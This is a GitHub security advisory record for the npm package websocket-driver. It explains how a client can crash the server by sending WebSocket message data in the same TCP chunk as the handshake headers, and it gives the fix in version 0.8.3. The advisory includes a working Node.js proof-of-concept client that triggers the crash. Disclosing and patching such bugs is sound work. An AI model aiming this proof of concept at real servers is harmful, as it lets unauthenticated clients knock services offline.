{"id":"GHSA-mxfr-rg9v-vp3c","summary":"websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers","details":"### Summary\n\nA WebSocket server implemented using `websocket-driver` can be made to crash by a remote client sending WebSocket message data in the TCP chunk as its handshake request headers.\n\n### Details\n\nThe `websocket.http()` driver constructor is designed to be used with the Node HTTP `upgrade` event, which yields an HTTP request, the bare TCP socket, and a buffer containing the request body to the event listener. The documentation instructs users to pass the request body to the driver, before calling `start()` on it, like so:\n\n```js\nserver.on('upgrade', (request, socket, body) =\u003e {\n  if (!websocket.isWebSocket(request)) return\n  let driver = websocket.http(request)\n  driver.io.write(body)\n  // set up event listeners...\n  driver.start()\n})\n```\n\nThis API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly.\n\nWhen the RFC 6455 standard protocol is in use, `body` should typically be empty, since clients should not send messages before the handshake completes. However, if `body` is not empty, then passing it to `driver.io.write()` before calling `driver.start()` triggers an exception due to the parser not being initialised. This exception crashes the process.\n\nThis has been mitigated by buffering this input and parsing it when `start()` is called, so that any data received before `start()` is called is not lost. This buffering is subject to the `maxLength` configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely.\n\n### Proof of concept\n\nGiven a server set up as follows:\n\n```js\nconst http = require('http')\nconst websocket = require('websocket-driver')\n\nlet server = http.createServer()\n\nserver.on('upgrade', (request, socket, body) =\u003e {\n  if (!websocket.isWebSocket(request)) return\n\n  let driver = websocket.http(request)\n\n  driver.io.write(body)\n  socket.pipe(driver.io).pipe(socket)\n\n  driver.messages.on('data', (m) =\u003e console.log({ m }))\n\n  driver.start()\n})\n\nserver.listen(5077, '127.0.0.1')\n```\n\nThe following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.\n\n```js\nconst net = require('net')\n\nlet socket = net.connect(5077, '127.0.0.1')\n\nlet httpMessage = Buffer.from(\n  'GET / HTTP/1.1\\r\\n' +\n  'Host: 127.0.0.1\\r\\n' +\n  'Connection: Upgrade\\r\\n' +\n  'Upgrade: websocket\\r\\n' +\n  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\\r\\n` +\n  'Sec-WebSocket-Version: 13\\r\\n' +\n  '\\r\\n'\n)\n\n// FIN = 1, mask key 00 00 00 00, payload 'a'\nlet maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])\n\n// the frame is sent in the same write as the handshake,\n// so it arrives in the `body` (head) argument of the 'upgrade' event\nsocket.write(Buffer.concat([httpMessage, maskedTextFrame]))\nsocket.on('error', () =\u003e {})\n```\n\nOn receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.\n\n### Impact\n\nAn unauthenticated remote client can crash any Node.js process that follows the README's \"Server-side with HTTP\" example, with a single TCP write.","aliases":["CVE-2026-144303"],"modified":"2026-12-05T18:48:15.220357147Z","published":"2026-12-04T21:54:48Z","database_specific":{"cwe_ids":["CWE-248"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-04T21:54:48Z","nvd_published_at":"2026-12-03T18:17:26Z"},"references":[{"type":"WEB","url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-mxfr-rg9v-vp3c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-144303"},{"type":"WEB","url":"https://github.com/faye/websocket-driver-node/commit/66486511c8b90ce6de4ea5b613109562f4cb5900"},{"type":"PACKAGE","url":"https://github.com/faye/websocket-driver-node"},{"type":"WEB","url":"https://github.com/faye/websocket-driver-node/releases/tag/0.8.3"}],"affected":[{"package":{"name":"websocket-driver","ecosystem":"npm","purl":"pkg:npm/websocket-driver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-mxfr-rg9v-vp3c/GHSA-mxfr-rg9v-vp3c.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}